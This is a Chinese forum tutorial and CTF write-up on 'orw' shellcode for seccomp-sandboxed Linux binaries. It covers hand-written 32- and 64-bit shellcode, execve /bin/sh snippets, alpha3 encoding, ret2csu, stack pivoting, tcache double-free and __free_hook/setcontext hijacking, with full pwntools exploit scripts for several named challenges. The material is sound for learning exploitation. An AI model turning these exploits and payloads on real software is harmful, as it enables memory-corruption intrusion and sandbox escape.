首页
社区
课程
招聘
orw题目练习
发表于: 2023-10-22 19:35 2783

orw题目练习

2023-10-22 19:35
2783

orw知识点

  • shellcode编写(涉及64位和32位)

  • shellcode编码,绕过shellcode字符检测

  • sandbox

  • mmap

  • set_context

shellcode编写思路

orw全称only read write,只使用read write函数将flag读取并且打印,shellcode分为三个步骤

  1. 使用open函数打开flag
  2. 使用read函数将flag读到buf
  3. 使用write函数将buf中的值输出

简化为三句伪代码如下,主要需要将这三句C语言变成汇编代码

1
2
3
fd = open("./flag", O_RDONLY);
read(fd, buf, 0x100)
write(1, buf, 0x100)

32-bits

32-bits下的系统调用号

三个函数的系统调用编号

系统调用号 函数名 入口点 源码
3 read sys_read fs/read_write.c
4 write sys_write fs/read_write.c
5 open sys_open fs/open.c

shellcode编写

32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi

;32-bit shellcode
; open flag file
mov eax, 5 
mov ebx, filepath
mov ecx, 0
int 80h
; read flag
mov ebx, eax
mov eax, 3
mov ecx, buf
mov edx, 100h
int 80h
; write flag
mov eax, 4
mov ebx, 1
mov ecx, buf
mov edx, 100h
int 80h
ret

64-bits

64-bits下的系统调用号

%rax System call %rdi %rsi %rdx %r10 %r8 %r9
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode
3 sys_close unsigned int fd

shellcode编写

64位shellcode汇编代码和32位的思路一样,不同点在于64位系统调用向寄存器传递的参数不同,且64位shellcode建议使用syscall,而不使用int 80中断

64位系统调用汇编寄存器传递参数顺序:rdi,rsi,rdx,r10,r8,r9。最多只能有6个参数,如果参数多于6个不会像用户态一样放到堆栈中,这个是内核接口调用约定和用户接口调用约定有区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* The Linux/x86-64 kernel expects the system call parameters in
   registers according to the following table:
    syscall number  rax
    arg 1    rdi
    arg 2    rsi
    arg 3    rdx
    arg 4    r10
    arg 5    r8
    arg 6    r9
......
*/
#define DO_CALL(syscall_name, args)                \
  lea SYS_ify (syscall_name), %rax;                \
  syscall
;64-bit shellcode
;open
mov rax, 2
mov rdi, filepath
mov rsi, 0
mov rdx, 0
syscall
; read
mov rdi rax
mov rax, 0
mov rsi, buf ;buf可以修改成rsp,直接将flag读到栈中
mov r10, 0x100
syscall
;write
mov r10, rax
mov rax, 1
mov rdi, 1
mov rsi, buf
syscall

64-bit to 32-bit

当64位系统禁用open函数时,可以从64位切换到32位

  • 32bit cs 0x23

    ;;nasm -f elf32 test_cs_32.asm 
    ;;ld -m elf_i386 -o test_cs_32
    global _start
    _start:
      push 0x0068732f
      push 0x6e69622f
      mov ebx,esp
      xor ecx,ecx
      xor edx,edx
      mov eax,11
      int 0x80
    
  • 64bit cs 0x33

    ;;nasm -f elf64 test_cs_64.asm 
    ;;ld -m elf_x86_64 -o test_cs_64 test_cs_64.o
    global _start
    _start:
      mov r10,0x0068732f6e69622f
      push r10
      mov rdi,rsp
      xor rsi,rsi
      xor rdx,rdx
      mov rax,0x3b
      syscall
    

shellcode编码

shellcode去除NULL byte

使用alpha3编码的shellcode不能存在NULL byte,需要对shellcode进行去0操作,去0优化后的shellcode可能更长

使用write为例子

  • 优化前

    ;write
    mov r10, rax
    mov rax, 1
    mov rdi, 1
    mov rsi, buf
    syscall
    
  • 优化后

    mov rsi, buf
    push 1
    pop rax
    push 1
    pop rdi
    xor edx, edx
    mov dh, 0x100 >> 8
    syscall
    

多使用xor,and等计算操作而不直接使用立即数赋值寄存器可以减少shellcode中的NULL byte

alpha3使用方法

ps:需要使用python2

1
python ALPHA3.py x64 ascii mixedcase rax --input="sc"

set_context

set_context分为两个版本的利用,2.27和2.29

利用场景

系统开启沙盒只能使用orw,通过劫持全局变量指针(__free_hook, __malloc_hook)等,将程序流程转移到glibc中的setcontext函数中执行ROP链

; glibc 2.27版本的set context
.text:00000000000520A5                 mov     rsp, [rdi+0A0h]
.text:00000000000520AC                 mov     rbx, [rdi+80h]
.text:00000000000520B3                 mov     rbp, [rdi+78h]
.text:00000000000520B7                 mov     r12, [rdi+48h]
.text:00000000000520BB                 mov     r13, [rdi+50h]
.text:00000000000520BF                 mov     r14, [rdi+58h]
.text:00000000000520C3                 mov     r15, [rdi+60h]
.text:00000000000520C7                 mov     rcx, [rdi+0A8h]
.text:00000000000520CE                 push    rcx
.text:00000000000520CF                 mov     rsi, [rdi+70h]
.text:00000000000520D3                 mov     rdx, [rdi+88h]
.text:00000000000520DA                 mov     rcx, [rdi+98h]
.text:00000000000520E1                 mov     r8, [rdi+28h]
.text:00000000000520E5                 mov     r9, [rdi+30h]
.text:00000000000520E9                 mov     rdi, [rdi+68h]

ctf example

pwnable.tw orw

1
2
3
4
5
6
7
8
pwn@pwn:~/study/orwpwn$ checksec orw
[*] '/home/pwn/study/orwpwn/orw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

分析

输入一段shellcode执行,首先将flag读取到.bss段,再将其读到标准输出

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#! /usr/bin/python3
from pwn import *
 
context (
        #log_level = 'debug',
        terminal = ['tmux', 'splitw', '-h'],
        arch = 'i386'
)
 
f = lambda var : str(var).encode()
sl = lambda var : sh.sendline(var)
sa = lambda c, p : sh.sendafter(c, p)
sla = lambda c, p : sh.sendlineafter(c, p)
r = lambda var : sh.recv(var)
ir = lambda : sh.interactive()
 
sh = process('./orw')
 
shellcode = '''
    mov eax, 5
    mov ebx,0x804a09a
    mov ecx, 0
    int 0x80
    mov ebx, eax
    mov eax, 3
    mov ecx, 0x0804A110
    mov edx, 0x100
    int 0x80
    mov eax, 4
    mov ebx, 1
    mov ecx, 0x0804A110
    mov edx, 0x100
    int 0x80
'''
shellcode = asm(shellcode)+b'./flag\x00'
sh.sendline(shellcode)
ir()

Hgame2020 ROP_LEVEL2

1
2
3
4
5
6
7
pwn@pwn:~/study/orwpwn$ checksec ROP
[*] '/home/pwn/study/orwpwn/ROP'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

知识点

  • 栈迁移
  • ret2csu

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[72]; // [rsp+0h] [rbp-50h] BYREF
  int fd[2]; // [rsp+48h] [rbp-8h]
 
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  init();
  puts("It's just a little bit harder...Do you think so?");
  read(0, &::buf, 0x100uLL);
  v3 = open("./some_life_experience", 0);
  *(_QWORD *)fd = v3;
  read(v3, buf, 0x3CuLL);
  puts(buf);
  read(0, buf, 96uLL);
  return 0;
}

从标准输入端读取3次,每一次都有不同作用

  • 第一次写入shellcode到.bss段的buf
  • 第二次将rbp覆盖,为栈迁移做准备
  • 第三次覆盖返回地址,首先ret leave进行栈迁移,然后ret csu设置寄存器参数调用函数

ROP链

思路为csu调用open,read,puts函数,将flag写入.bss段,在使用puts函数输出到标准输出

csu汇编代码中寄存器和函数参数对应关系为:(r15, r14, r13) -> (arg1, arg2, arg3),r12是函数指针

一般来说使用ret2csu时rbx === 0,rbp === 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400A20 loc_400A20:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400A20                 mov     rdx, r13
.text:0000000000400A23                 mov     rsi, r14
.text:0000000000400A26                 mov     edi, r15d
.text:0000000000400A29                 call    ds:(__frame_dummy_init_array_entry - 600E00h)[r12+rbx*8]
.text:0000000000400A2D                 add     rbx, 1
.text:0000000000400A31                 cmp     rbx, rbp
.text:0000000000400A34                 jnz     short loc_400A20
.text:0000000000400A36
.text:0000000000400A36 loc_400A36:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400A36                 add     rsp, 8
.text:0000000000400A3A                 pop     rbx
.text:0000000000400A3B                 pop     rbp
.text:0000000000400A3C                 pop     r12
.text:0000000000400A3E                 pop     r13
.text:0000000000400A40                 pop     r14
.text:0000000000400A42                 pop     r15
.text:0000000000400A44                 retn

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#! /usr/bin/python3
from pwn import *
 
context (
        log_level = 'debug',
        terminal = ['tmux', 'splitw', '-h'],
        arch = 'amd64'
)
 
f = lambda var : str(var).encode()
sl = lambda var : sh.sendline(var)
sa = lambda c, p : sh.sendafter(c, p)
sla = lambda c, p : sh.sendlineafter(c, p)
r = lambda var : sh.recv(var)
ia = lambda : sh.interactive()
 
sh = process('./ROP')
 
def csu(rbx, rbp, r12, r13, r14, r15):
    payload = p64(0)
    payload += p64(rbx)
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    payload += p64(0x400A20) #call r12
    return payload
 
csu_addr = 0x400A36
open_got = 0x601050
read_got = 0x601038
puts_got = 0x601028
fake_stack = 0x6010A0
flag_buf = 0x601180
 
payload = b'./flag\x00\x00'
payload += p64(csu_addr)
payload += csu(0, 1, open_got, 0, 0, fake_stack)
payload += csu(0, 1, read_got, 0x100, flag_buf, 0x4)
payload += csu(0, 1, puts_got, 0, 0, flag_buf)
sla(b'?\n', payload)
 
#.text:00000000004009D5                 leave
#.text:00000000004009D6                 retn
payload = b'a'*0x50
payload += p64(fake_stack)
payload += p64(0x4009D5)
sl(payload)
 
ia()

CISCN 2021 silverwolf

1
2
3
4
5
6
7
8
9
pwn@pwn:~/study/orwpwn/silverwolf-2.27$ checksec silverwolf
[*] '/home/pwn/study/orwpwn/silverwolf-2.27/silverwolf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'
    FORTIFY:  Enabled
1
2
pwn@pwn:~/study/orwpwn/silverwolf-2.27$ md5sum libc-2.27.so
50390b2ae8aaa73c47745040f54e602f  libc-2.27.so

知识点

  • glibc 2.27 && 2.29 tcache bin attack
  • seccomp_rule_add函数会创建很多堆块
  • setcontext

分析

alloc

  • 最大只能申请0x78大小的chunk
  • 申请chunk的index只能为0

edit

  • 只能编辑index=0的chunk,申请了哪个堆块就只能修改哪个堆块
  • 不存在溢出漏洞

delete

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  __printf_chk(1LL, "Index: ");
  __isoc99_scanf("%ld", &v1);
  if ( !v1 && buf )
    free(buf);                                  // uaf
  return __readfsqword(0x28u) ^ v2;
}
  • free(buf)后指针没有置空,存在uaf漏洞

思路

由于只能使用上一次申请的堆块,所以堆布局需要提前构思

清空所有bin

seccomp_rule_add函数会创建堆块,导致堆布局凌乱,清理bin方便后续构造

0x20 [  7]: 0x55dad5b23610 —▸ 0x55dad5b23790 —▸ 0x55dad5b235f0 —▸ 0x55dad5b238a0 —▸ 0x55dad5b230b0 —▸ 0x55dad5b23450 —▸ 0x55dad5b23020 ◂— 0x0
0x60 [  1]: 0x55dad5b238c0 ◂— 0x0
0x70 [  7]: 0x55dad5b23360 —▸ 0x55dad5b230d0 —▸ 0x55dad5b232f0 —▸ 0x55dad5b23490 —▸ 0x55dad5b23630 —▸ 0x55dad5b237b0 —▸ 0x55dad5b23040 ◂— 0x0
0x80 [  7]: 0x55dad5b22e90 —▸ 0x55dad5b231b0 —▸ 0x55dad5b23250 —▸ 0x55dad5b233d0 —▸ 0x55dad5b23570 —▸ 0x55dad5b23820 —▸ 0x55dad5b22fa0 ◂— 0x0
0xd0 [  3]: 0x55dad5b22ad0 —▸ 0x55dad5b227a0 —▸ 0x55dad5b22310 ◂— 0x0
0xf0 [  2]: 0x55dad5b236a0 —▸ 0x55dad5b22cd0 ◂— 0x0
fastbins
0x20: 0x55dad5b22df0 —▸ 0x55dad5b22f00 —▸ 0x55dad5b23220 —▸ 0x55dad5b232c0 —▸ 0x55dad5b23460 ◂— ...
0x70: 0x55dad5b22e10 —▸ 0x55dad5b22f20 —▸ 0x55dad5b23130 —▸ 0x55dad5b234f0 ◂— 0x0

double free,泄露heap base

glibc2.27 存在double free漏洞,配合uaf泄露堆基地址。

1
2
tcachebins
0x80 2]: 0x55cc4095c920 ◂— 0x55cc4095c920

改写tcache_perthread_struct,泄露libc base

tcache_perthread_struct结构体在heapbase处,大小为0x240,用于管理tcache bin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
 
# define TCACHE_MAX_BINS                64
 
static __thread tcache_perthread_struct *tcache = NULL;
1
2
3
4
5
6
7
pwndbg> heapbase
heapbase : 0x5555ca19f000
pwndbg> p *(struct tcache_perthread_struct*)0x5555ca19f010
$1 = {
  counts = "\240\314b\207\215\177\000\000\240\314b\207\215\177\000\000", '\a' <repeats 48 times>,
  entries = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1000000000000, 0x0, 0x0, 0x0, 0x0, 0x5555ca19fad0, 0x0, 0x5555ca1a06a0, 0x0 <repeats 50 times>}
}

将所有tcache bin counts覆写为7,在free大小为0x80的堆块后,检测到tcachebins没有空闲,会将释放的堆块存放在unsorted bin中从而泄露libc base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> bin                                                                                                
tcachebins
0x20 [-96]: 0x0
0x30 [-52]: 0x0
0x40 [ 98]: 0x0
0x50 [-121]: 0x0
0x60 [-115]: 0x0
0x70 [127]: 0x0
0x80 0]: 0x1000000000000
0xa0 [-96]: 0x0
0xb0 [-52]: 0x0
0xc0 [ 98]: 0x0
0xd0 [-121]: 0x5555ca19f7a0
0xe0 [-115]: 0x0
0xf0 [127]: 0x5555ca1a06a0 —▸ 0x5555ca19fcd0 ◂— 0x0
0x120 7]: 0x0
....
0x410 7]: 0x0
fastbins
empty
unsortedbin
all: 0x5555ca19f000 —▸ 0x7f8d8762cca0 (main_arena+96) ◂— 0x5555ca19f000

改写tcache_perthread_struct,申请任意地址的堆块

堆布局影响后面ROP链的构造,因为一次最大可申请0x78大小堆块,不够容纳ROP链,需要改写tcache bin struct便于申请两个物理地址连续的堆块

再次改写tcache bin struct,将所有counts改写为大于0,然后改写tcache_entry *entries[TCACHE_MAX_BINS],将这个指针数组里面的指针改写为需要申请的堆块地址,就可以进行任意地址的堆块申请

  • heap_base+0x1000用于存放rop链
  • heap_base+0x2000用于存放flag文件路径字符串
  • heap_base+0x3000用于存放flag字符串
1
2
3
4
5
6
7
8
pl = b'\x02'*0x40
pl += p64(__free_hook)      #0x20 => free_hook
pl += p64(heap_base+0x2000) #0x30 => file path str
pl += p64(heap_base+0x3000) #0x40 => store flag str
pl += p64(heap_base+0x1000) #0x50 => rop chain
pl += p64(heap_base+0x1108) #0x60 => rop chain
pl += p64(heap_base+0x10a0) #0x70 => rop chain
pl += p64(heap_base+0x1000) #0x80 => rop chain begin
1
2
3
4
5
6
7
8
tcachebins
0x20 2]: 0x7f0e9ab6b8e8 (__free_hook) ◂— 0x0
0x30 2]: 0x564feaeeb000 ◂— 0x0
0x40 2]: 0x564feaeec000 ◂— 0x0
0x50 2]: 0x564feaeea000 ◂— 0x0
0x60 2]: 0x564feaeea108 ◂— 0x0
0x70 2]: 0x564feaeea0a0 ◂— 0x0
0x80 2]: 0x564feaeea000 ◂— 0x0

修改完后可以申请0x18,0x28,0x38,0x48,0x58,0x68,0x78大小的堆块各一个

ROP链与栈迁移

ROP链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pop_rdi = libc_base + 0x2155f
pop_rsi = libc_base + 0x23e6a
pop_rdx = libc_base + 0x1b96
pop_rax = libc_base + 0x439c8
syscall = libc_base + 0x11007F
 
rop_chain = p64(heap_base+0x10b0)
rop_chain += p64(pop_rax) + p64(2)
rop_chain += p64(pop_rdi) + p64(heap_base+0x2000)
rop_chain += p64(pop_rsi) + p64(0)
rop_chain += p64(syscall)
 
rop_chain += p64(pop_rax) + p64(0)
rop_chain += p64(pop_rdi) + p64(3)
rop_chain += p64(pop_rsi) + p64(heap_base+0x3000)
rop_chain += p64(pop_rdx) + p64(0x20)
rop_chain += p64(syscall)
 
rop_chain += p64(pop_rax) + p64(1)
rop_chain += p64(pop_rdi) + p64(1)
rop_chain += p64(pop_rsi) + p64(heap_base+0x3000)
rop_chain += p64(syscall)

将ROP链写入heap_base+0x1000后,申请大小等于0x48的堆块,这个堆块指针为heap_base+0x1000,在free时会用这个指针作为参数传递到rdi,setcontext+0x53将栈迁移到heap_base+0x1000,开始执行ROP链

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#! /usr/bin/python3
from pwn import *
 
context (
        # log_level = 'debug',
        terminal = ['tmux', 'splitw', '-h'],
        arch = 'amd64'
)
 
f = lambda var : str(var).encode()
sl = lambda var : sh.sendline(var)
sa = lambda c, p : sh.sendafter(c, p)
sla = lambda c, p : sh.sendlineafter(c, p)
r = lambda var : sh.recv(var)
ru = lambda var : sh.recvuntil(var)
ia = lambda : sh.interactive()
 
sh = process('./silverwolf')
libc = ELF('./libc-2.27.so')
 
def alloc(size):
    sla(b': ', b'1')
    sla(b': ', b'0')
    sla(b': ', f(size))
 
def edit(context):
    sla(b': ', b'2')
    sla(b': ', b'0')
    sla(b': ', context)
 
def show():
    sla(b': ', b'3')
    sla(b': ', b'0')
 
def delete():
    sla(b': ', b'4')
    sla(b': ', b'0')
 
def clean_bin():
    for _ in range(11):
        alloc(0x60)
    for _ in range(12):
        alloc(0x10)
    for _ in range(7):
        alloc(0x70)
    alloc(0x50)
 
def gdb_debug(cmd=''):
    gdb.attach(sh, cmd)
 
def main():
    clean_bin()
 
    # leak heap base
    alloc(0x78)
    delete()
    delete()
    show()
    heap_base = (u64(ru(b'\n')[9:-1].ljust(8, b'\x00'))&0xfffffffffffff000)-0x1000
    log.success("heap base => "+hex(heap_base))
 
    # modify tcache_perthread_struct
    pl = p64(heap_base+0x10)
    edit(pl)
    alloc(0x78)
    alloc(0x78)
    pl = b'\x07'*0x40
    edit(pl)
 
    #leak libc base
    delete()
    show()
    libc_base = u64(ru(b'\n')[9:-1].ljust(8, b'\x00')) - 0x3ebca0
    log.success("libc base => "+hex(libc_base))
 
    # modify tcache list
    __free_hook = libc_base + libc.symbols['__free_hook']
    log.success("__free_hook => "+hex(__free_hook))
    pl = b'\x02'*0x40
    pl += p64(__free_hook)      #0x20 => free_hook
    pl += p64(heap_base+0x2000) #0x30 => file path str
    pl += p64(heap_base+0x3000) #0x40 => store flag str
    pl += p64(heap_base+0x1000) #0x50 => rop chain
    pl += p64(heap_base+0x1108) #0x60 => rop chain
    pl += p64(heap_base+0x10a0) #0x70 => rop chain
    pl += p64(heap_base+0x1000) #0x80 => rop chain begin
    edit(pl)
     
    # rop chain
    syscall = libc_base + 0x11007F
    pop_rdi = libc_base + 0x2155f
    pop_rsi = libc_base + 0x23e6a
    pop_rdx = libc_base + 0x1b96
    pop_rax = libc_base + 0x439c8
     
    rop_chain = p64(heap_base+0x10b0)
    rop_chain += p64(pop_rax) + p64(2)
    rop_chain += p64(pop_rdi) + p64(heap_base+0x2000)
    rop_chain += p64(pop_rsi) + p64(0)
    rop_chain += p64(syscall) # ==> open
    rop_chain += p64(pop_rax) + p64(0)
    rop_chain += p64(pop_rdi) + p64(3)
    rop_chain += p64(pop_rsi) + p64(heap_base+0x3000)
    rop_chain += p64(pop_rdx) + p64(0x100)
    rop_chain += p64(syscall) # ==> read
    rop_chain += p64(pop_rax) + p64(1)
    rop_chain += p64(pop_rdi) + p64(1)
    rop_chain += p64(pop_rsi) + p64(heap_base+0x3000)
    rop_chain += p64(syscall) # ==> write
     
    alloc(0x68)
    edit(rop_chain[:0x68])
    alloc(0x58)
    edit(rop_chain[0x68:])
    alloc(0x28)
    edit(b'./flag')
 
    # modify free hook
    set_context = libc_base + 0x520A5
    alloc(0x18)
    edit(p64(set_context))
     
    # start rop
    cmd = 'b*'+hex(set_context)
    gdb_debug(cmd)
    alloc(0x48)
    delete()
    ia()
if __name__ == "__main__":
    main()

逐日杯 codehome

知识点

  • shellcode编码
  • shellcode处理0字节

分析

申请内存

使用mmap申请两块内存。

  • v3用于存储flag,地址为rbp&0xffff000
  • v4用于存储shellcode,地址为0x44440000

在写shellcode时,v3地址需要动态计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void *sub_D6C()
{
  int fd; // [rsp+8h] [rbp-28h]
  int v2; // [rsp+Ch] [rbp-24h]
  void *v3; // [rsp+10h] [rbp-20h]
  void *v4; // [rsp+18h] [rbp-18h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]
  __int64 savedregs; // [rsp+30h] [rbp+0h] BYREF
 
  v6 = __readfsqword(0x28u);
  alarm(8u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  read(fd, buf, 4uLL);
  v3 = mmap((void *)(((unsigned int)&savedregs - 16) & 0xFFFF000), 0x1000uLL, 7, 34, -1, 0LL);
  v4 = mmap((void *)0x44440000, 0x1000uLL, 7, 34, -1, 0LL);
  v2 = open("./flag", 0);
  if ( v2 == -1 )
  {
    puts("can't find flag");
    exit((int)"1");
  }
  read(v2, v3, 0x30uLL);
  printf("[+]hint:");
  write(1, v3, 5uLL);
  puts(&byte_12F3);
  close(v2);
  close(fd);
  return v4;
}

main

函数指针v7可以被nbytes[4]覆盖。如果覆盖成0x44440000就可以执行shellcode地址。存在shellcode,只能输入0-9,a-z,A-Z,需要使用alpha3编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _BYTE *v4; // [rsp+0h] [rbp-50h]
  int (**v5)(const char *); // [rsp+8h] [rbp-48h]
  size_t nbytes[4]; // [rsp+10h] [rbp-40h] BYREF
  int (**v7)(const char *); // [rsp+30h] [rbp-20h]
  void *v8; // [rsp+38h] [rbp-18h]
  char buf[5]; // [rsp+43h] [rbp-Dh] BYREF
  unsigned __int64 v10; // [rsp+48h] [rbp-8h]
 
  v10 = __readfsqword(0x28u);
  HIDWORD(nbytes[0]) = 0;
  nbytes[1] = 0LL;
  nbytes[2] = 0LL;
  nbytes[3] = 0LL;
  v7 = &puts;
  v8 = sub_D6C();
  printf("input len of your name\n>>");
  buf[(int)read(0, buf, 4uLL)] = 0;
  LODWORD(nbytes[0]) = atoi(buf);
  if ( LODWORD(nbytes[0]) > dword_202030 )
  {
    puts("hacker!");
    exit((int)"-1");
  }
  printf("plz input your name\n>>");
  read(0, (char *)nbytes + 4, LODWORD(nbytes[0]));
  printf("now,input your code\n>>");
  v4 = malloc(0x1000uLL);
  v4[(int)read(0, v4, 0xFFFuLL)] = 0;
  filiter(v4, v8);                              // 检测shellcode然后复制到mmap内存中
  sandbox();
  v5 = v7;
  printf("%s:", aWelcomeToThePw);
  ((void (__fastcall *)(char *))v5)((char *)nbytes + 4);
  puts("your code:");
  ((void (__fastcall *)(void *))v5)(v8);
  return __readfsqword(0x28u) ^ v10;
}

exp

;shellcode
mov esi, ebp
and esi, 0xffff005
push 1
pop rax
push 1
pop rdi
xor edx, edx
mov dh, 0x100 >> 8
syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /bin/python3
from pwn import *
 
context (
        log_level = 'debug',
        terminal = ['tmux', 'splitw', '-h'],
        arch = 'amd64'
)
 
f = lambda var : str(var).encode()
sl = lambda var : sh.sendline(var)
sa = lambda c, p : sh.sendafter(c, p)
sla = lambda c, p : sh.sendlineafter(c, p)
r = lambda var : sh.recv(var)
ia = lambda : sh.interactive()
 
sh = process('./codehome')
 
mmap_addr = 0x44440000
sla(b'>>', b'40')
payload = b'b'*0x1c
payload += p64(mmap_addr)
sa(b'>>', payload)
 
sc = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M3T3M3E3E0H3S4z7l2O012p0Y0R0k0K3u3J031p0501'
sa(b'>>', sc)
 
ia()

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 3594
活跃值: (31031)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-10-22 23:03
1
游客
登录 | 注册 方可回帖
返回
//